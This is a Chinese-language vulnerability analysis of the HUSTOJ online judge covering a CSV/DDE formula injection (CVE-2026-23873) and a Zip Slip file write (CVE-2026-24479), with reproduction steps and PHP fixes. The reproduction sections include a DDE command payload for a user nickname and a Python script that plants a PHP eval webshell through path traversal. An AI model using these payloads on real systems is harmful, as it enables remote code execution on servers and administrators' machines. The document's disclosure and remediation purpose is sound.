HUSTOJ 开源在线评测系统多处漏洞审计分析 (CVE-2026-23873 & CVE-2026-24479)
字数 1776
更新时间 2026-02-06 03:50:18
HUSTOJ 开源在线评测系统漏洞分析教学文档
1. 系统概述
HUSTOJ 是国内广泛使用的开源在线评测系统(Online Judge),主要应用于高校和企业的算法训练环境。该系统基于 PHP 开发,提供题目管理、代码提交、自动评测和排名等功能。
2. 漏洞背景
在最新版本的 HUSTOJ 系统中发现两个高危安全漏洞:
- CVE-2026-23873:CSV 注入导致的远程代码执行漏洞
- CVE-2026-24479:Zip Slip 任意文件上传漏洞
两个漏洞均可导致远程代码执行(RCE),危害等级为高危。
3. 环境搭建方法
3.1 快速部署(宝塔面板环境)
wget http://dl.hustoj.com/install-ubuntu22.04-bt.sh
sudo bash install-ubuntu-bt.sh
3.2 管理员账户获取
- 系统安装后,直接注册
admin用户名即可自动获得管理员权限 - 配合源码分析可对系统功能进行全面测试
4. CVE-2026-23873:CSV 注入漏洞分析
4.1 漏洞位置
trunk/web/contestrank.xls.phpadmin/ranklist_export.php
4.2 漏洞原理
系统在导出比赛排名为 Excel 文件时,未对用户可控的昵称字段进行充分过滤和转义。攻击者可通过构造恶意 DDE(动态数据交换)公式,在管理员打开导出的 Excel 文件时触发命令执行。
4.3 漏洞复现步骤
步骤1:攻击者注册普通账户
- 注册普通用户账号进入系统
步骤2:修改恶意昵称
- 进入"用户信息"修改页面
- 将昵称修改为恶意公式:
=1+2(测试用)或实际攻击载荷=cmd|'/C calc'!A0
步骤3:参与比赛
- 攻击者参与任意比赛并提交代码
- 确保用户名出现在比赛排行榜中
步骤4:管理员导出排名
- 管理员在比赛排名页面点击"导出"功能
- 系统生成包含恶意公式的 Excel 文件
步骤5:触发漏洞
- 管理员使用 Excel 打开导出的文件
- Excel 自动执行嵌入的 DDE 公式,导致系统命令执行
4.4 攻击影响
- 客户端远程代码执行(管理员机器)
- 可获取管理员系统权限
- 可用于内网横向移动
5. CVE-2026-24479:Zip Slip 任意文件上传漏洞
5.1 漏洞位置
problem_import_qduoj.phpproblem_import_hoj.php
5.2 漏洞原理
系统在题目导入功能中处理 ZIP 压缩包时,未对文件名进行路径遍历检测。攻击者可以构造包含路径遍历字符(../)的文件名,将恶意文件写入 Web 目录外的任意位置。
5.3 漏洞复现步骤
步骤1:构造恶意 ZIP 包
使用 Python 脚本生成包含路径遍历的文件名:
import zipfile
def create_malicious_zip():
with zipfile.ZipFile('malicious.zip', 'w') as zf:
# 构造路径遍历文件名
malicious_file = '../../shell.php'
zf.writestr(malicious_file, '<?php @eval($_POST["cmd"]);?>')
create_malicious_zip()
步骤2:上传恶意ZIP包
- 使用教师或管理员账号登录
- 通过题目导入功能上传恶意ZIP文件
步骤3:漏洞触发
- 系统解压ZIP包时,将Webshell写入系统任意目录
- 攻击者可通过访问写入的Webshell执行系统命令
5.4 攻击影响
- 服务器端远程代码执行
- 完全控制Web服务器
- 数据泄露和系统破坏
6. 漏洞修复方案
6.1 CSV 注入漏洞修复(CVE-2026-23873)
在导出逻辑中添加输入验证和转义:
function escape_csv_value($value) {
// 检测是否以公式特殊字符开头
if (preg_match('/^[=+\-@].*/', $value)) {
// 在开头添加单引号进行转义
return "'" . $value;
}
return $value;
}
// 在输出CSV数据前对每个字段进行处理
$nick = escape_csv_value($user_nick);
6.2 Zip Slip 漏洞修复(CVE-2026-24479)
在解压操作中添加路径验证:
function safe_extract_zip($zip_path, $extract_path) {
$zip = new ZipArchive();
if ($zip->open($zip_path) === TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// 检测路径遍历攻击
$full_path = $extract_path . DIRECTORY_SEPARATOR . $filename;
$real_path = realpath($extract_path . DIRECTORY_SEPARATOR . $filename);
// 验证目标路径在预期目录内
if (strpos($real_path, realpath($extract_path)) !== 0) {
// 路径遍历攻击尝试,记录日志并跳过
error_log("Zip Slip attack detected: " . $filename);
continue;
}
// 安全解压文件
$zip->extractTo($extract_path, $filename);
}
$zip->close();
return true;
}
return false;
}
7. 安全建议
7.1 输入验证
- 对所有用户输入进行严格验证和过滤
- 对文件名、路径等特殊输入进行白名单验证
7.2 输出转义
- 根据输出上下文(CSV、HTML、SQL等)进行适当的转义
- 对公式特殊字符进行检测和转义
7.3 文件操作安全
- 使用绝对路径进行文件操作
- 验证文件路径是否在允许的目录范围内
- 设置适当的文件权限
7.4 系统加固
- 定期更新系统补丁
- 实施最小权限原则
- 启用安全日志记录和监控
8. 参考资源
- AVD 漏洞数据库:https://avd.aliyun.com/detail?id=AVD-2026-23873
- NVD 漏洞数据库:https://nvd.nist.gov/vuln/detail/CVE-2026-24479
9. 总结
本教学文档详细分析了 HUSTOJ 系统中的两个高危漏洞,涵盖了漏洞原理、复现方法、危害影响和修复方案。通过深入理解这些漏洞,安全研究人员可以更好地识别和防范类似的安全风险,提高Web应用的安全性。